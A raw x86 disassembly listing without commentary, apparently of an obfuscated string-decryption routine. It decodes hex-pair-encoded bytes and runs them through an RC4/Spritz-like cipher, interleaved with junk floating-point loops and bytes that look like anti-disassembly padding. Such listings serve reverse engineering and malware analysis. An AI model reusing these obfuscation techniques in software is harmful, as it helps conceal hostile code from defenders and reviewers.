lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x7bc], edx
mov eax, dword [ebp - 0x7e4]
add eax, dword [ebp - 0x7bc]
movzx ecx, byte [eax]
mov dword [ebp - 0x74c], ecx
mov dword [ebp - 0x750], 0x1f
mov edx, dword [ebp - 0x734]
sub edx, dword [ebp - 0x738]
mov dword [ebp - 0x754], edx
mov eax, dword [ebp - 0x74c]
sub eax, dword [ebp - 0x750]
mov dword [ebp - 0x758], eax
mov ecx, dword [ebp - 0x754]
shl ecx, 4
mov dword [ebp - 0x7d8], ecx
mov edx, dword [ebp - 0x758]
mov dword [ebp - 0x7c0], edx
mov eax, dword [ebp - 0x7d8]
or eax, dword [ebp - 0x7c0]
mov dword [ebp - 0x7c4], eax
mov cl, byte [ebp - 0x7c4]
mov byte [ebp - 0x1ea], cl
movzx edx, byte [ebp - 0x1da]
mov al, byte [ebp + edx - 0x1dd0]
mov byte [ebp - 0x1e8], al
movzx ecx, byte [ebp - 0x1b4]
movzx edx, byte [ebp + ecx - 0x1dd0]
mov dword [ebp - 0x1a88], edx
mov al, byte [ebp - 0x1b4]
add al, 1
mov byte [ebp - 0x1b4], al
movzx ecx, byte [ebp - 0x1c4]
add ecx, dword [ebp - 0x1a88]
mov byte [ebp - 0x1c4], cl
movzx edx, byte [ebp - 0x1c4]
movzx eax, byte [ebp - 0x1da]
mov cl, byte [ebp + edx - 0x1dd0]
mov byte [ebp + eax - 0x1dd0], cl
movzx edx, byte [ebp - 0x1c5]
movzx eax, byte [ebp - 0x1c4]
mov cl, byte [ebp + edx - 0x1dd0]
mov byte [ebp + eax - 0x1dd0], cl
movzx edx, byte [ebp - 0x1b4]
movzx eax, byte [ebp - 0x1c5]
mov cl, byte [ebp + edx - 0x1dd0]
mov byte [ebp + eax - 0x1dd0], cl
movzx edx, byte [ebp - 0x1b4]
mov al, byte [ebp - 0x1e8]
mov byte [ebp + edx - 0x1dd0], al
movzx ecx, byte [ebp - 0x1e8]
movzx edx, byte [ebp + ecx - 0x1dd0]
movzx eax, byte [ebp - 0x1e9]
add eax, edx
mov byte [ebp - 0x1e9], al
movzx ecx, byte [ebp - 0x1ea]
movzx edx, byte [ebp - 0x1c4]
movzx eax, byte [ebp + edx - 0x1dd0]
movzx edx, byte [ebp - 0x1b4]
movzx edx, byte [ebp + edx - 0x1dd0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1dd0]
xor ecx, eax
movzx edx, byte [ebp - 0x1c5]
movzx eax, byte [ebp + edx - 0x1dd0]
movzx edx, byte [ebp - 0x1da]
movzx edx, byte [ebp + edx - 0x1dd0]
add eax, edx
movzx edx, byte [ebp - 0x1e9]
movzx edx, byte [ebp + edx - 0x1dd0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1dd0]
movzx edx, byte [ebp + eax - 0x1dd0]
xor ecx, edx
mov byte [ebp - 0x1c5], cl
mov al, byte [ebp - 0x1ea]
mov byte [ebp - 0x1da], al
mov cl, byte [ebp - 0x1c5]
mov byte [ebp - 0x239], cl
cmp dword [ebp - 0x29c], 0
jle 0x47fe99
mov edx, dword [ebp - 0x29c]
mov al, byte [ebp - 0x239]
mov byte [ebp + edx - 0xd5], al
mov ecx, dword [ebp - 0x52c]
add ecx, 7
mov dword [ebp - 0x52c], ecx
mov edx, dword [ebp - 0x29c]
add edx, 1
mov dword [ebp - 0xd98], edx
jmp 0x47fec8
mov eax, dword [ebp - 0xd98]
add eax, 1
mov dword [ebp - 0xd98], eax
mov ecx, dword [ebp - 0xd98]
cmp ecx, dword [ebp - 0x52c]
jge 0x4803de
movsd xmm0, qword [0x582550]
movsd qword [ebp - 0xa38], xmm0
movsd xmm0, qword [0x582430]
movsd qword [ebp - 0x9a4], xmm0
movsd xmm0, qword [0x582310]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [0x582138]
movsd qword [ebp - 0x7b0], xmm0
movsd xmm0, qword [ebp - 0x9a4]
subsd xmm0, qword [ebp - 0x7b0]
movsd qword [ebp - 0x9a4], xmm0
movsd xmm0, qword [ebp - 0x704]
mulsd xmm0, qword [ebp - 0x7b0]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [ebp - 0x704]
addsd xmm0, qword [ebp - 0x7b0]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [ebp - 0xa38]
mulsd xmm0, qword [ebp - 0x7b0]
movsd qword [ebp - 0xa38], xmm0
movsd xmm0, qword [ebp - 0x7b0]
comisd xmm0, xmmword [ebp - 0xa38]
jbe 0x480126
movsd xmm0, qword [ebp - 0xa38]
addsd xmm0, qword [ebp - 0x9a4]
movsd qword [ebp - 0xa38], xmm0
movsd xmm0, qword [ebp - 0xa38]
addsd xmm0, qword [ebp - 0x9a4]
movsd qword [ebp - 0xa38], xmm0
movsd xmm0, qword [ebp - 0x704]
addsd xmm0, qword [ebp - 0x7b0]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [ebp - 0x9a4]
addsd xmm0, qword [ebp - 0x704]
movsd qword [ebp - 0x9a4], xmm0
movsd xmm0, qword [ebp - 0x704]
mulsd xmm0, qword [ebp - 0xa38]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [ebp - 0x704]
subsd xmm0, qword [ebp - 0xa38]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [ebp - 0x7b0]
divsd xmm0, qword [ebp - 0x9a4]
movsd qword [ebp - 0x7b0], xmm0
movsd xmm0, qword [ebp - 0x7b0]
addsd xmm0, qword [ebp - 0x9a4]
movsd qword [ebp - 0x7b0], xmm0
movsd xmm0, qword [ebp - 0x7b0]
comisd xmm0, xmmword [ebp - 0x9a4]
jbe 0x4800c4
movsd xmm0, qword [ebp - 0x7b0]
divsd xmm0, qword [ebp - 0xa38]
movsd qword [ebp - 0x7b0], xmm0
movsd xmm0, qword [ebp - 0x9a4]
divsd xmm0, qword [ebp - 0x704]
movsd qword [ebp - 0x9a4], xmm0
movsd xmm0, qword [ebp - 0xa38]
subsd xmm0, qword [ebp - 0x9a4]
movsd qword [ebp - 0xa38], xmm0
movsd xmm0, qword [ebp - 0x704]
divsd xmm0, qword [ebp - 0x7b0]
movsd qword [ebp - 0x704], xmm0
jmp 0x480124
movsd xmm0, qword [ebp - 0x7b0]
divsd xmm0, qword [ebp - 0xa38]
movsd qword [ebp - 0x7b0], xmm0
movsd xmm0, qword [ebp - 0x7b0]
subsd xmm0, qword [ebp - 0xa38]
movsd qword [ebp - 0x7b0], xmm0
movsd xmm0, qword [ebp - 0x704]
subsd xmm0, qword [ebp - 0x7b0]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [ebp - 0x704]
addsd xmm0, qword [ebp - 0x7b0]
movsd qword [ebp - 0x704], xmm0
jmp 0x480195
movsd xmm0, qword [ebp - 0x9a4]
subsd xmm0, qword [ebp - 0x704]
movsd qword [ebp - 0x9a4], xmm0
movsd xmm0, qword [ebp - 0x704]
addsd xmm0, qword [ebp - 0x7b0]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [ebp - 0x704]
mulsd xmm0, qword [ebp - 0x7b0]
movsd qword [ebp - 0x704], xmm0
movsd xmm0, qword [ebp - 0x9a4]
addsd xmm0, qword [ebp - 0x704]
movsd qword [ebp - 0x9a4], xmm0
mov edx, dword [ebp - 0x29c]
add edx, 1
mov dword [ebp - 0x29c], edx
mov eax, dword [ebp - 0x29c]
shl eax, 1
mov dword [ebp - 0x7e0], eax
mov ecx, dword [ebp - 0x7e4]
add ecx, dword [ebp - 0x7e0]
movzx edx, byte [ecx]
mov dword [ebp - 0x734], edx
mov dword [ebp - 0x738], 0x26
mov eax, dword [ebp - 0x29c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x7bc], ecx
mov edx, dword [ebp - 0x7e4]
add edx, dword [ebp - 0x7bc]
movzx eax, byte [edx]
mov dword [ebp - 0x74c], eax
mov dword [ebp - 0x750], 0x1f
mov ecx, dword [ebp - 0x734]
sub ecx, dword [ebp - 0x738]
mov dword [ebp - 0x754], ecx
mov edx, dword [ebp - 0x74c]
sub edx, dword [ebp - 0x750]
mov dword [ebp - 0x758], edx
mov eax, dword [ebp - 0x754]
shl eax, 4
mov dword [ebp - 0x7d8], eax
mov ecx, dword [ebp - 0x758]
mov dword [ebp - 0x7c0], ecx
mov edx, dword [ebp - 0x7d8]
or edx, dword [ebp - 0x7c0]
mov dword [ebp - 0x7c4], edx
mov al, byte [ebp - 0x7c4]
mov byte [ebp - 0x1ea], al
movzx ecx, byte [ebp - 0x1da]
mov dl, byte [ebp + ecx - 0x1dd0]
mov byte [ebp - 0x1e8], dl
movzx eax, byte [ebp - 0x1b4]
movzx ecx, byte [ebp + eax - 0x1dd0]
mov dword [ebp - 0x1a8c], ecx
mov dl, byte [ebp - 0x1b4]
add dl, 1
mov byte [ebp - 0x1b4], dl
movzx eax, byte [ebp - 0x1c4]
add eax, dword [ebp - 0x1a8c]
mov byte [ebp - 0x1c4], al
movzx ecx, byte [ebp - 0x1c4]
movzx edx, byte [ebp - 0x1da]
mov al, byte [ebp + ecx - 0x1dd0]
mov byte [ebp + edx - 0x1dd0], al
movzx ecx, byte [ebp - 0x1c5]
movzx edx, byte [ebp - 0x1c4]
mov al, byte [ebp + ecx - 0x1dd0]
mov byte [ebp + edx - 0x1dd0], al
movzx ecx, byte [ebp - 0x1b4]
movzx edx, byte [ebp - 0x1c5]
mov al, byte [ebp + ecx - 0x1dd0]
mov byte [ebp + edx - 0x1dd0], al
movzx ecx, byte [ebp - 0x1b4]
mov dl, byte [ebp - 0x1e8]
mov byte [ebp + ecx - 0x1dd0], dl
movzx eax, byte [ebp - 0x1e8]
movzx ecx, byte [ebp + eax - 0x1dd0]
movzx edx, byte [ebp - 0x1e9]
add edx, ecx
mov byte [ebp - 0x1e9], dl
movzx eax, byte [ebp - 0x1ea]
movzx ecx, byte [ebp - 0x1c4]
movzx edx, byte [ebp + ecx - 0x1dd0]
movzx ecx, byte [ebp - 0x1b4]
movzx ecx, byte [ebp + ecx - 0x1dd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1dd0]
xor eax, edx
movzx ecx, byte [ebp - 0x1c5]
movzx edx, byte [ebp + ecx - 0x1dd0]
movzx ecx, byte [ebp - 0x1da]
movzx ecx, byte [ebp + ecx - 0x1dd0]
add edx, ecx
movzx ecx, byte [ebp - 0x1e9]
movzx ecx, byte [ebp + ecx - 0x1dd0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1dd0]
movzx ecx, byte [ebp + edx - 0x1dd0]
xor eax, ecx
mov byte [ebp - 0x1c5], al
mov dl, byte [ebp - 0x1ea]
mov byte [ebp - 0x1da], dl
mov al, byte [ebp - 0x1c5]
mov byte [ebp - 0x239], al
cmp dword [ebp - 0x29c], 0
jle 0x4803d9
mov ecx, dword [ebp - 0x29c]
mov dl, byte [ebp - 0x239]
mov byte [ebp + ecx - 0xd5], dl
jmp 0x47feb9
mov eax, dword [ebp - 0x52c]
add eax, 1
mov dword [ebp - 0x52c], eax
mov ecx, 1
imul edx, ecx, 0xf
mov dword [ebp - 0xff4], edx
cmp dword [ebp - 0xff4], 0x10
jae 0x480406
jmp 0x48040c
call fcn.0051c285
nop
mov eax, dword [ebp - 0xff4]
mov byte [ebp + eax - 0xd4], 0
jmp 0x48046d
mov dword [ebp - 0xc78], 0
jmp 0x480437
mov ecx, dword [ebp - 0xc78]
add ecx, 1
mov dword [ebp - 0xc78], ecx
cmp dword [ebp - 0xc78], 0x10
jge 0x48046d
mov edx, dword [ebp - 0xc78]
mov dword [ebp - 0xff8], edx
cmp dword [ebp - 0xff8], 0x10
jae 0x480457
jmp 0x48045d
call fcn.0051c285
nop
mov eax, dword [ebp - 0xff8]
mov byte [ebp + eax - 0xd4], 0
jmp 0x480428
push 4
call fcn.0051c0e5
add esp, 4
mov dword [ebp - 0xdb0], eax
mov byte [ebp - 4], 1
cmp dword [ebp - 0xdb0], 0
je 0x4804ae
push 4
mov ecx, dword [ebp - 0xdb0]
call fcn.004aa490
lea ecx, [ebp - 0x60]
push ecx
mov ecx, dword [ebp - 0xdb0]
call fcn.004dd310
mov dword [ebp - 0x100c], eax
jmp 0x4804b8
mov dword [ebp - 0x100c], 0
mov edx, dword [ebp - 0x100c]
mov dword [ebp - 0x1a90], edx
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [ebp - 0x1a90]
mov dword [eax + 0x34], ecx
mov edx, dword [ebp - 0x1f4]
mov eax, dword [edx + 0x34]
mov dword [0x59fa20], eax
push 4
call fcn.0051c0e5
add esp, 4
mov dword [ebp - 0xd9c], eax
mov byte [ebp - 4], 2
cmp dword [ebp - 0xd9c], 0
je 0x480529
push 4
mov ecx, dword [ebp - 0xd9c]
call fcn.004aa490
lea ecx, [ebp - 0xec]
push ecx
mov ecx, dword [ebp - 0xd9c]
call fcn.004dd310
mov dword [ebp - 0x1010], eax
jmp 0x480533
mov dword [ebp - 0x1010], 0
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x1a94], edx
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [ebp - 0x1a94]
mov dword [eax + 0x38], ecx
push 4
call fcn.0051c0e5
add esp, 4
mov dword [ebp - 0xdc8], eax
mov byte [ebp - 4], 3
cmp dword [ebp - 0xdc8], 0
je 0x480596
push 4
mov ecx, dword [ebp - 0xdc8]
call fcn.004aa490
lea edx, [ebp - 0xc4]
push edx
mov ecx, dword [ebp - 0xdc8]
call fcn.004dd310
mov dword [ebp - 0x1014], eax
jmp 0x4805a0
mov dword [ebp - 0x1014], 0
mov eax, dword [ebp - 0x1014]
mov dword [ebp - 0x1a98], eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ebp - 0x1a98]
mov dword [ecx + 0x3c], edx
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x120], 0
xorps xmm0, xmm0
movsd qword [ebp - 0xbe8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb4c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xb4c], xmm0
jmp 0x48060e
movsd xmm0, qword [ebp - 0xb4c]
addsd xmm0, qword [0x580ab8]
movsd qword [ebp - 0xb4c], xmm0
movsd xmm0, qword [0x582238]
comisd xmm0, xmmword [ebp - 0xb4c]
jbe 0x4806bf
movsd xmm0, qword [0x582080]
mulsd xmm0, qword [ebp - 0xb4c]
mulsd xmm0, qword [ebp - 0xb4c]
movsd xmm1, qword [ebp - 0xb4c]
mulsd xmm1, qword [ebp - 0xb4c]
subsd xmm0, xmm1
movsd xmm1, qword [0x580b18]
mulsd xmm1, qword [ebp - 0xb4c]
mulsd xmm1, qword [ebp - 0xb4c]
addsd xmm1, qword [0x581ed0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0xbe8]
movsd qword [ebp - 0xbe8], xmm0
movsd xmm0, qword [ebp - 0xbe8]
comisd xmm0, xmmword [0x581f58]
jbe 0x4806ba
mov ah, 0xf4
invalid
test dword [eax], ebx
hlt
movsd xmm0, qword [0x581e20]
mulsd xmm0, qword [ebp - 0xb4c]
movsd xmm1, qword [ebp - 0xbe8]
subsd xmm1, xmm0
movsd qword [ebp - 0xbe8], xmm1
jmp 0x4805f6
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0xbe8]
jbe 0x480700
push ebp
push edx
inc esi
insb byte es:[edi], dx
push esp
pop ebp
and eax, 0x6f754051
jle 0x480757
push eax
pop esp
and eax, 0x825d6161
jbe 0x480664
insd dword es:[edi], dx
test dword [edx + ecx*4 + 0x79], edi
xor byte [edi - 0x77], 0x72
mov byte [esi - 0x80], ch
ja 0x480677
ja 0x48076f
jae 0x480679
jnp 0x480773
outsd dx, dword [esi]
xor dword [ecx - 0x17], 0x6b
sbb al, byte [eax]
add bh, al
test dword [esi + edi*8 - 1], esi
jmp ecx
mov dword [ebp - 0x18c], 0x4806e1
mov dword [ebp - 0x120], 0x4806cc
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x5e8], eax
mov ecx, dword [ebp - 0x120]
mov dword [ebp - 0x1a9c], ecx
mov byte [ebp - 0x760], 0x19
mov dword [ebp - 0x448], 0
jmp 0x48074e
mov edx, dword [ebp - 0x448]
add edx, 1
mov dword [ebp - 0x448], edx
cmp dword [ebp - 0x448], 0x100
jae 0x48076f
add byte [ebx + 0x15], dh
mov eax, dword [ebp - 0x448]
mov cl, byte [ebp - 0x448]
mov byte [ebp + eax - 0x177c], cl
jmp 0x48073f
mov dword [ebp - 0xa70], 0
mov byte [ebp - 0x1fb], 0
mov dword [ebp - 0x448], 0xff
jmp 0x48079b
invalid
mov edx, dword [ebp - 0x448]
sub edx, 1
mov dword [ebp - 0x448], edx
cmp dword [ebp - 0x448], 0
jbe 0x480a0b
mov dword [ebp - 0xdcc], 0
mov dword [ebp - 0xc7c], 1
mov eax, dword [ebp - 0xc7c]
cmp eax, dword [ebp - 0x448]
jae 0x4807dc
mov ecx, dword [ebp - 0xc7c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0xc7c], edx
jmp 0x4807bc
mov eax, dword [ebp - 0xa70]
mov dword [ebp - 0x1018], eax
cmp dword [ebp - 0x1018], 3
ja case.default.0x4807fb
mov ecx, dword [ebp - 0x1018]
jmp dword [ecx*4 + 0x495104]
movzx edx, byte [ebp - 0x1fb]
movzx ebx, byte [ebp + edx - 0x177c]
movsd xmm0, qword [ebp - 0xbe8]
call fcn.0051c6e0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fb], bl
jmp 0x4808e4
movzx eax, byte [ebp - 0x1fb]
movzx ebx, byte [ebp + eax - 0x177c]
movsd xmm0, qword [ebp - 0xbe8]
call fcn.0051c6e0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fb], bl
jmp 0x4808e4
movzx ecx, byte [ebp - 0x1fb]
movzx ebx, byte [ebp + ecx - 0x177c]
movsd xmm0, qword [ebp - 0xbe8]
call fcn.0051c6e0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fb], bl
jmp 0x4808e4
movzx edx, byte [ebp - 0x1fb]
movzx ebx, byte [ebp + edx - 0x177c]
movsd xmm0, qword [ebp - 0xbe8]
call fcn.0051c6e0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fb], bl
jmp 0x4808e4
movzx eax, byte [ebp - 0x1fb]
movzx ecx, byte [ebp + eax - 0x177c]
mov edx, dword [ebp - 0x1a9c]
add edx, dword [ebp - 0xa70]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x1fb], cl
mov ecx, dword [ebp - 0xa70]
add ecx, 1
mov dword [ebp - 0xa70], ecx
movzx edx, byte [ebp - 0x760]
cmp dword [ebp - 0xa70], edx
jb 0x480922
mov dword [ebp - 0xa70], 0
movzx eax, byte [ebp - 0x760]
movzx ecx, byte [ebp - 0x1fb]
add ecx, eax
mov byte [ebp - 0x1fb], cl
movzx edx, byte [ebp - 0x1fb]
and edx, dword [ebp - 0xc7c]
mov dword [ebp - 0x90c], edx
mov eax, dword [ebp - 0xdcc]
add eax, 1
mov dword [ebp - 0xdcc], eax
cmp dword [ebp - 0xdcc], 0xb
jbe 0x480961
mov eax, dword [ebp - 0x90c]
xor edx, edx
div dword [ebp - 0x448]
mov dword [ebp - 0x90c], edx
mov ecx, dword [ebp - 0x90c]
cmp ecx, dword [ebp - 0x448]
ja 0x4807dc
mov edx, dword [ebp - 0x448]
cmp edx, dword [ebp - 0x90c]
je 0x480a06
mov eax, dword [ebp - 0x90c]
movzx ecx, byte [ebp + eax - 0x177c]
mov edx, dword [ebp - 0x448]
movzx eax, byte [ebp + edx - 0x177c]
xor eax, ecx
mov ecx, dword [ebp - 0x448]
mov byte [ebp + ecx - 0x177c], al
mov edx, dword [ebp - 0x448]
movzx eax, byte [ebp + edx - 0x177c]
mov ecx, dword [ebp - 0x90c]
movzx edx, byte [ebp + ecx - 0x177c]
xor edx, eax
mov eax, dword [ebp - 0x90c]
mov byte [ebp + eax - 0x177c], dl
mov ecx, dword [ebp - 0x90c]
movzx edx, byte [ebp + ecx - 0x177c]
mov eax, dword [ebp - 0x448]
movzx ecx, byte [ebp + eax - 0x177c]
xor ecx, edx
mov edx, dword [ebp - 0x448]
mov byte [ebp + edx - 0x177c], cl
jmp 0x48078c
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x177c]
mov byte [ebp - 0x19d], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x177c]
mov byte [ebp - 0x1aa], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x177c]
mov byte [ebp - 0x1d6], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x177c]
mov byte [ebp - 0x1ab], cl
movzx edx, byte [ebp - 0x1fb]
mov al, byte [ebp + edx - 0x177c]
mov byte [ebp - 0x1b9], al
mov dword [ebp - 0x101c], 0x1a
cmp dword [ebp - 0x101c], 2
jle 0x48211d
mov ecx, dword [ebp - 0x101c]
and ecx, 1
jne 0x48211d
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x380], 0
mov edx, dword [ebp - 0x380]
add edx, 1
mov dword [ebp - 0x380], edx
mov dword [ebp - 0x63c], 0
mov eax, dword [ebp - 0x22c]
shl eax, 1
mov dword [ebp - 0x63c], eax
mov dword [ebp - 0x598], 0
mov ecx, dword [ebp - 0x5e8]
add ecx, dword [ebp - 0x63c]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x598]
mov dword [ebp - 0x598], edx
mov dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x5b4]
add eax, 0x7b
mov dword [ebp - 0x5b4], eax
mov dword [ebp - 0x5ec], 0
mov ecx, dword [ebp - 0x22c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x5ec], edx
mov dword [ebp - 0x5b0], 0
mov eax, dword [ebp - 0x5e8]
add eax, dword [ebp - 0x5ec]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x5b0]
mov dword [ebp - 0x5b0], ecx
mov dword [ebp - 0x5ac], 0
mov edx, dword [ebp - 0x5ac]
add edx, 0x6d
mov dword [ebp - 0x5ac], edx
mov dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x598]
sub eax, dword [ebp - 0x5b4]
add eax, dword [ebp - 0x5a8]
mov dword [ebp - 0x5a8], eax
mov dword [ebp - 0x5a4], 0
mov ecx, dword [ebp - 0x5b0]
sub ecx, dword [ebp - 0x5ac]
add ecx, dword [ebp - 0x5a4]
mov dword [ebp - 0x5a4], ecx
mov dword [ebp - 0x5f0], 0
mov edx, dword [ebp - 0x5a8]
shl edx, 4
mov dword [ebp - 0x5f0], edx
mov dword [ebp - 0x5f4], 0
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x5f4], eax
mov dword [ebp - 0x5f8], 0
mov ecx, dword [ebp - 0x5f0]
or ecx, dword [ebp - 0x5f4]
mov dword [ebp - 0x5f8], ecx
mov byte [ebp - 0x1d5], 0
mov dl, byte [ebp - 0x5f8]
mov byte [ebp - 0x1d5], dl
mov byte [ebp - 0x1d7], 0
movzx eax, byte [ebp - 0x1b9]
mov cl, byte [ebp + eax - 0x177c]
mov byte [ebp - 0x1d7], cl
movzx edx, byte [ebp - 0x19d]
movzx eax, byte [ebp + edx - 0x177c]
mov dword [ebp - 0x1aa0], eax
mov cl, byte [ebp - 0x19d]
add cl, 1
mov byte [ebp - 0x19d], cl
movzx edx, byte [ebp - 0x1aa]
add edx, dword [ebp - 0x1aa0]
mov byte [ebp - 0x1aa], dl
movzx eax, byte [ebp - 0x1aa]
movzx ecx, byte [ebp - 0x1b9]
mov dl, byte [ebp + eax - 0x177c]
mov byte [ebp + ecx - 0x177c], dl
movzx eax, byte [ebp - 0x1ab]
movzx ecx, byte [ebp - 0x1aa]
mov dl, byte [ebp + eax - 0x177c]
mov byte [ebp + ecx - 0x177c], dl
movzx eax, byte [ebp - 0x19d]
movzx ecx, byte [ebp - 0x1ab]
mov dl, byte [ebp + eax - 0x177c]
mov byte [ebp + ecx - 0x177c], dl
movzx eax, byte [ebp - 0x19d]
mov cl, byte [ebp - 0x1d7]
mov byte [ebp + eax - 0x177c], cl
movzx edx, byte [ebp - 0x1d7]
movzx eax, byte [ebp + edx - 0x177c]
movzx ecx, byte [ebp - 0x1d6]
add ecx, eax
mov byte [ebp - 0x1d6], cl
movzx edx, byte [ebp - 0x1d5]
movzx eax, byte [ebp - 0x1aa]
movzx ecx, byte [ebp + eax - 0x177c]
movzx eax, byte [ebp - 0x19d]
movzx eax, byte [ebp + eax - 0x177c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x177c]
xor edx, ecx
movzx eax, byte [ebp - 0x1ab]
movzx ecx, byte [ebp + eax - 0x177c]
movzx eax, byte [ebp - 0x1b9]
movzx eax, byte [ebp + eax - 0x177c]
add ecx, eax
movzx eax, byte [ebp - 0x1d6]
movzx eax, byte [ebp + eax - 0x177c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x177c]
movzx eax, byte [ebp + ecx - 0x177c]
xor edx, eax
mov byte [ebp - 0x1ab], dl
mov cl, byte [ebp - 0x1d5]
mov byte [ebp - 0x1b9], cl
mov dl, byte [ebp - 0x1ab]
mov byte [ebp - 0x207], dl
cmp dword [ebp - 0x22c], 0
jle 0x480d9b
mov eax, dword [ebp - 0x22c]
mov cl, byte [ebp - 0x207]
mov byte [ebp + eax - 0x3d], cl
mov edx, dword [ebp - 0x22c]
add edx, 1
mov dword [ebp - 0x22c], edx
mov eax, dword [ebp - 0x380]
add eax, 1
mov dword [ebp - 0x380], eax
mov ecx, dword [ebp - 0x22c]
shl ecx, 1
mov dword [ebp - 0x63c], ecx
mov edx, dword [ebp - 0x5e8]
add edx, dword [ebp - 0x63c]
movzx eax, byte [edx]
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x5b4], 0x7b
mov ecx, dword [ebp - 0x22c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x5ec], edx
mov eax, dword [ebp - 0x5e8]
add eax, dword [ebp - 0x5ec]
movzx ecx, byte [eax]
mov dword [ebp - 0x5b0], ecx
mov dword [ebp - 0x5ac], 0x6d
mov edx, dword [ebp - 0x598]
sub edx, dword [ebp - 0x5b4]
mov dword [ebp - 0x5a8], edx
mov eax, dword [ebp - 0x5b0]
sub eax, dword [ebp - 0x5ac]
mov dword [ebp - 0x5a4], eax
mov ecx, dword [ebp - 0x5a8]
shl ecx, 4
mov dword [ebp - 0x5f0], ecx
mov edx, dword [ebp - 0x5a4]
mov dword [ebp - 0x5f4], edx
mov eax, dword [ebp - 0x5f0]
or eax, dword [ebp - 0x5f4]
mov dword [ebp - 0x5f8], eax
mov cl, byte [ebp - 0x5f8]
mov byte [ebp - 0x1d5], cl
movzx edx, byte [ebp - 0x1b9]
mov al, byte [ebp + edx - 0x177c]
mov byte [ebp - 0x1d7], al
movzx ecx, byte [ebp - 0x19d]
movzx edx, byte [ebp + ecx - 0x177c]
mov dword [ebp - 0x1aa4], edx
mov al, byte [ebp - 0x19d]
add al, 1
mov byte [ebp - 0x19d], al
movzx ecx, byte [ebp - 0x1aa]
add ecx, dword [ebp - 0x1aa4]
mov byte [ebp - 0x1aa], cl
movzx edx, byte [ebp - 0x1aa]
movzx eax, byte [ebp - 0x1b9]
mov cl, byte [ebp + edx - 0x177c]
mov byte [ebp + eax - 0x177c], cl
movzx edx, byte [ebp - 0x1ab]
movzx eax, byte [ebp - 0x1aa]
mov cl, byte [ebp + edx - 0x177c]
mov byte [ebp + eax - 0x177c], cl
movzx edx, byte [ebp - 0x19d]
movzx eax, byte [ebp - 0x1ab]
mov cl, byte [ebp + edx - 0x177c]
mov byte [ebp + eax - 0x177c], cl
movzx edx, byte [ebp - 0x19d]
mov al, byte [ebp - 0x1d7]
mov byte [ebp + edx - 0x177c], al
movzx ecx, byte [ebp - 0x1d7]
movzx edx, byte [ebp + ecx - 0x177c]
movzx eax, byte [ebp - 0x1d6]
add eax, edx
mov byte [ebp - 0x1d6], al
movzx ecx, byte [ebp - 0x1d5]
movzx edx, byte [ebp - 0x1aa]
movzx eax, byte [ebp + edx - 0x177c]
movzx edx, byte [ebp - 0x19d]
movzx edx, byte [ebp + edx - 0x177c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x177c]
xor ecx, eax
movzx edx, byte [ebp - 0x1ab]
movzx eax, byte [ebp + edx - 0x177c]
movzx edx, byte [ebp - 0x1b9]
movzx edx, byte [ebp + edx - 0x177c]
add eax, edx
movzx edx, byte [ebp - 0x1d6]
movzx edx, byte [ebp + edx - 0x177c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x177c]
movzx edx, byte [ebp + eax - 0x177c]
xor ecx, edx
mov byte [ebp - 0x1ab], cl
mov al, byte [ebp - 0x1d5]
mov byte [ebp - 0x1b9], al
mov cl, byte [ebp - 0x1ab]
mov byte [ebp - 0x207], cl
cmp dword [ebp - 0x22c], 0
jle 0x480ff7
mov edx, dword [ebp - 0x22c]
mov al, byte [ebp - 0x207]
mov byte [ebp + edx - 0x3d], al
mov ecx, dword [ebp - 0x22c]
add ecx, 1
mov dword [ebp - 0x22c], ecx
mov edx, dword [ebp - 0x380]
add edx, 1
mov dword [ebp - 0x380], edx
mov eax, dword [ebp - 0x22c]
shl eax, 1
mov dword [ebp - 0x63c], eax
mov ecx, dword [ebp - 0x5e8]
